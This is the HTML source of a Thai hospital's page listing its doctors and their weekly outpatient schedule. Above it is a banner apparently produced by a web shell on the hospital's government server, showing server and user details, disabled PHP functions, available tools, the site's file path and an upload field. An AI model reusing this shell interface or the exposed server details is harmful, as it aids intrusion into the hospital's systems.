| Server IP : 104.21.73.108 / Your IP : 216.73.216.59 Web Server : Apache/2 System : Linux cat167-197.static.lnwhostname.com 5.10.0-20-amd64 #1 SMP Debian 5.10.158-2 (2022-12-13) x86_64 User : paphayomho ( 1042) PHP Version : 5.6.40 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/paphayomho/domains/paphayomhospital.go.th/public_html/ |
Upload File : |
<!DOCTYPE html>
<html lang="th">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>รายชื่อและตารางตรวจคณะแพทย์ | Medical Center</title>
<link href="https://fonts.googleapis.com/css2?family=Sarabun:wght@300;400;600&display=swap" rel="stylesheet">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
<style>
:root {
--primary-green: #00b894;
--dark-green: #009473;
--bg-color: #f4f7f6;
--white: #ffffff;
--text-dark: #2d3436;
--text-light: #636e72;
}
body {
font-family: 'Sarabun', sans-serif;
background-color: var(--bg-color);
margin: 0;
padding: 0;
color: var(--text-dark);
}
/* --- ส่วนหัวเว็บใหม่ (Hero Header) --- */
.hero-section {
background: linear-gradient(135deg, #006241 0%, #00b894 100%);
position: relative;
padding: 60px 20px 100px;
color: white;
text-align: center;
overflow: hidden;
box-shadow: 0 4px 20px rgba(0,0,0,0.1);
}
/* ลายกราฟิกจางๆ ด้านหลัง */
.hero-section::after {
content: "\f479"; /* ไอคอนรูปหัวใจ/การแพทย์ */
font-family: "Font Awesome 6 Free";
font-weight: 900;
position: absolute;
top: 20px;
right: -50px;
font-size: 300px;
opacity: 0.05;
transform: rotate(-20deg);
}
.btn-back {
position: absolute;
top: 30px;
left: 5%;
text-decoration: none;
color: white;
background: rgba(255, 255, 255, 0.15);
padding: 10px 20px;
border-radius: 50px;
backdrop-filter: blur(10px);
font-size: 14px;
border: 1px solid rgba(255, 255, 255, 0.3);
transition: 0.3s;
z-index: 10;
}
.btn-back:hover { background: white; color: var(--dark-green); }
.hero-content { position: relative; z-index: 1; }
.hero-content .main-icon {
font-size: 45px;
background: rgba(255, 255, 255, 0.2);
width: 90px;
height: 90px;
line-height: 90px;
border-radius: 30px;
display: inline-block;
margin-bottom: 20px;
border: 1px solid rgba(255, 255, 255, 0.3);
}
.hero-content h1 { font-size: 36px; margin: 0; letter-spacing: 1px; }
.hero-content p { font-size: 18px; margin-top: 12px; opacity: 0.9; font-weight: 300; }
/* ---------------------------------- */
.container {
max-width: 1100px;
margin: -50px auto 0; /* ดึงเนื้อหาขึ้นไปทับ Header เล็กน้อย */
padding: 0 20px 40px;
position: relative;
z-index: 2;
}
.section-title {
font-size: 22px;
font-weight: 600;
color: var(--text-dark);
margin: 40px 0 20px;
display: flex;
align-items: center;
gap: 12px;
padding-left: 10px;
border-left: 5px solid var(--primary-green);
}
/* Doctor Grid */
.doctor-grid {
display: grid;
grid-template-columns: repeat(auto-fill, minmax(300px, 1fr));
gap: 20px;
margin-bottom: 60px;
}
.doctor-card {
background: var(--white);
padding: 25px;
border-radius: 20px;
display: flex;
align-items: center;
gap: 20px;
box-shadow: 0 10px 20px rgba(0,0,0,0.03);
border: 1px solid rgba(0,0,0,0.02);
transition: 0.3s;
}
.doctor-card:hover { transform: translateY(-5px); box-shadow: 0 15px 30px rgba(0,184,148,0.1); }
.avatar {
width: 65px;
height: 65px;
background: #e6fffa;
border-radius: 18px;
display: flex;
align-items: center;
justify-content: center;
font-size: 30px;
color: var(--primary-green);
}
.info h3 { margin: 0; font-size: 17px; }
.info p { margin: 4px 0; color: var(--text-light); font-size: 14px; }
.badge {
padding: 4px 10px;
border-radius: 8px;
font-size: 12px;
font-weight: 600;
}
.expert { background: #e6fffa; color: #009473; }
.active { background: #edf2ff; color: #4466ff; }
/* Schedule Table */
.schedule-container {
background: var(--white);
border-radius: 25px;
padding: 30px;
box-shadow: 0 10px 40px rgba(0,0,0,0.05);
overflow-x: auto;
}
table { width: 100%; border-collapse: collapse; min-width: 800px; }
th { background: #f8f9fa; padding: 15px; text-align: center; font-size: 14px; color: var(--text-light); border-bottom: 2px solid #eee; }
td { padding: 15px; text-align: center; border-bottom: 1px solid #f5f5f5; font-size: 14px; }
.name-col { text-align: left; font-weight: 600; color: var(--text-dark); width: 220px; }
.slot { display: inline-block; padding: 6px 12px; border-radius: 8px; font-weight: 600; font-size: 12px; }
.am { background: #fff3e0; color: #e67e22; }
.pm { background: #e1f5fe; color: #0288d1; }
.off { color: #d1d8e0; font-weight: 400; font-style: italic; }
footer { text-align: center; margin-top: 60px; color: #b2bec3; font-size: 13px; padding-bottom: 30px; }
@media (max-width: 600px) {
.hero-content h1 { font-size: 26px; }
.btn-back { top: 20px; left: 20px; padding: 8px 15px; }
}
</style>
</head>
<body>
<section class="hero-section">
<a href="index.php" class="btn-back"><i class="fas fa-arrow-left"></i> กลับหน้าหลัก</a>
<div class="hero-content">
<div class="main-icon"><i class="fas fa-hand-holding-medical"></i></div>
<h1>ทำเนียบรายชื่อและตารางออกตรวจ</h1>
<p>โรงพยาบาลป่าพะยอม</p>
</div>
</section>
</br>
<div class="container">
<div class="section-title"><i class="fas fa-user-md"></i> รายชื่อคณะแพทย์</div>
<div class="doctor-grid">
<div class="doctor-card">
<div class="avatar"><i class="fas fa-user-doctor"></i></div>
<div class="info">
<h3>พญ.ธัญลักษณ์ คงฤทธิ์</h3>
<p>นายแพทย์</p>
<span class="badge expert">ชำนาญการ</span>
</div>
</div>
<div class="doctor-card">
<div class="avatar"><i class="fas fa-user-doctor"></i></div>
<div class="info">
<h3>นพ.อดิเทพ ศรีเพชรทอง</h3>
<p>นายแพทย์</p>
<span class="badge expert">ชำนาญการ</span>
</div>
</div>
<div class="doctor-card">
<div class="avatar"><i class="fas fa-user-doctor"></i></div>
<div class="info">
<h3>พญ.สมสิริ รุ่งแดง</h3>
<p>นายแพทย์</p>
<span class="badge expert">ชำนาญการ</span>
</div>
</div>
<div class="doctor-card">
<div class="avatar"><i class="fas fa-user-nurse"></i></div>
<div class="info">
<h3>นพ.จารุวิทย์ ประภานุสิทธิ์</h3>
<p>นายแพทย์</p>
<span class="badge active">ปฏิบัติการ</span>
</div>
</div>
<div class="doctor-card">
<div class="avatar"><i class="fas fa-user-nurse"></i></div>
<div class="info">
<h3>พญ.ณิชากร มิ่งมิตร</h3>
<p>นายแพทย์</p>
<span class="badge active">ปฏิบัติการ</span>
</div>
</div>
<div class="doctor-card">
<div class="avatar"><i class="fas fa-user-nurse"></i></div>
<div class="info">
<h3>พญ.ปาลิตา ชัยเพชร</h3>
<p>นายแพทย์</p>
<span class="badge active">ปฏิบัติการ</span>
</div>
</div>
<div class="doctor-card">
<div class="avatar"><i class="fas fa-user-nurse"></i></div>
<div class="info">
<h3>พญ.ศุภนุช รัตนพงษ์</h3>
<p>นายแพทย์</p>
<span class="badge active">ปฏิบัติการ</span>
</div>
</div>
</div>
<div class="section-title"><i class="fas fa-calendar-check"></i> ตารางออกตรวจ OPD (รายสัปดาห์)</div>
<div class="schedule-container">
<table>
<thead>
<tr>
<th rowspan="2" class="name-col">รายชื่อแพทย์</th>
<th colspan="2">จันทร์</th>
<th colspan="2">อังคาร</th>
<th colspan="2">พุธ</th>
<th colspan="2">พฤหัสบดี</th>
<th colspan="2">ศุกร์</th>
</tr>
<tr>
<th>เช้า</th><th>บ่าย</th>
<th>เช้า</th><th>บ่าย</th>
<th>เช้า</th><th>บ่าย</th>
<th>เช้า</th><th>บ่าย</th>
<th>เช้า</th><th>บ่าย</th>
</tr>
</thead>
<tbody>
<tr>
<td class="name-col">พญ.ธัญลักษณ์ คงฤทธิ์</td>
<td colspan="10" class="off"></td>
</tr>
<tr>
<td class="name-col">นพ.อดิเทพ ศรีเพชรทอง</td>
<td><span class="slot am">ตรวจ</span></td><td>-</td>
<td>-</td><td><span class="slot pm">ตรวจ</span></td>
<td><span class="slot am">ตรวจ</span></td><td>-</td>
<td><span class="slot am">ตรวจ</span></td><td>-</td>
<td>-</td><td><span class="slot pm">ตรวจ</span></td>
</tr>
<tr>
<td class="name-col">พญ.สมสิริ รุ่งแดง</td>
<td>-</td><td><span class="slot pm">ตรวจ</span></td>
<td><span class="slot am">ตรวจ</span></td><td>-</td>
<td>-</td><td><span class="slot pm">ตรวจ</span></td>
<td><span class="slot am">ตรวจ</span></td><td><span class="slot pm">ตรวจ</span></td>
<td><span class="slot am">ตรวจ</span></td><td>-</td>
</tr>
<tr>
<td class="name-col">นพ.จารุวิทย์ ประภานุสิทธิ์</td>
<td><span class="slot am">ตรวจ</span></td><td><span class="slot pm">ตรวจ</span></td>
<td><span class="slot am">ตรวจ</span></td><td>-</td>
<td>-</td><td>-</td>
<td><span class="slot am">ตรวจ</span></td><td>-</td>
<td><span class="slot am">ตรวจ</span></td><td><span class="slot pm">ตรวจ</span></td>
</tr>
<tr>
<td class="name-col">พญ.ณิชากร มิ่งมิตร</td>
<td>-</td><td>-</td>
<td><span class="slot am">ตรวจ</span></td><td><span class="slot pm">ตรวจ</span></td>
<td><span class="slot am">ตรวจ</span></td><td><span class="slot pm">ตรวจ</span></td>
<td>-</td><td><span class="slot pm">ตรวจ</span></td>
<td><span class="slot am">ตรวจ</span></td><td>-</td>
</tr>
</tbody>
</table>
</div>
<footer>
<p><i class="fas fa-info-circle"></i> ข้อมูลอัปเดตล่าสุด ณ วันที่ 27 มกราคม 2569 | ตารางเวลาอาจมีการเปลี่ยนแปลงตามความเหมาะสม</p>
</footer>
</div>
</body>
</html>